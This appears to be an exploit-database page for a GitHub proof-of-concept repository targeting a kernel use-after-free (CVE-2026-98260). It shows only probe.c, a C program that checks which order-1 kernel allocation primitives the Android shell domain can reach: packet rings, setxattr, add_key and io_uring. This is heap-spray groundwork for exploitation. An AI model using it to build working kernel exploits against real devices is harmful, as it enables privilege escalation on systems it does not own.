Exploit database

GH-300ffa121d06cb7357be8fb011e8d8b3

nanoturtle1145/cve-2026-98260-uaf

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files21
nanoturtle1145/cve-2026-98260-uafRevision cb03af3ff043

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

probe.c

Suggested starting fileC · 2,367 bytes
/* 探测 shell 域可用的 order-1 分配原语 */
#define _GNU_SOURCE
#include <errno.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/xattr.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>

static void try_packet_ring(void) {
    int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (fd < 0) { printf("  AF_PACKET raw : 失败 errno=%d (%s)\n", errno, strerror(errno)); return; }
    printf("  AF_PACKET raw : socket ok\n");
    struct tpacket_req req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = 8192;      /* → get_order(8192) = 1 → order-1 */
    req.tp_block_nr = 64;
    req.tp_frame_size = 8192;
    req.tp_frame_nr = 64;
    if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0)
        printf("  PACKET_RX_RING: 失败 errno=%d (%s)\n", errno, strerror(errno));
    else
        printf("  PACKET_RX_RING: ✓ 64 × order-1 块成功\n");
    close(fd);
}

static void try_xattr_sizes(void) {
    const char *p = "/data/local/tmp/.probe_x";
    int f = open(p, O_CREAT | O_RDWR, 0666); if (f >= 0) close(f);
    static char v[65536]; memset(v, 0x41, sizeof(v));
    for (size_t sz = 1024; sz <= 8192; sz *= 2) {
        char nm[32]; snprintf(nm, sizeof(nm), "user.p%zu", sz);
        errno = 0;
        int r = setxattr(p, nm, v, sz, 0);
        if (r == 0) printf("  setxattr %5zu B : ✓\n", sz);
        else        printf("  setxattr %5zu B : ✗ errno=%d (%s)\n", sz, errno, strerror(errno));
    }
}

static void try_key(void) {
    long r = syscall(301 /* add_key on arm64 */, "user", "probe", 5, "AAAA", 4, -2 /* KEY_SPEC_PROCESS_KEYRING */);
    printf("  add_key      : %s errno=%d\n", r >= 0 ? "✓" : "✗", r >= 0 ? 0 : errno);
}

static void try_io_uring(void) {
    static unsigned char p[512];   /* struct io_uring_params 约 120B,给足避免写爆栈 */
    memset(p, 0, sizeof(p));
    long r = syscall(425 /* io_uring_setup on arm64 */, 64, p);
    printf("  io_uring_setup: %s errno=%d\n", r >= 0 ? "✓" : "✗", r >= 0 ? 0 : errno);
}

int main(void) {
    printf("=== order-1 分配原语探测(shell 域)===\n");
    try_packet_ring();
    try_xattr_sizes();
    try_key();
    try_io_uring();
    return 0;
}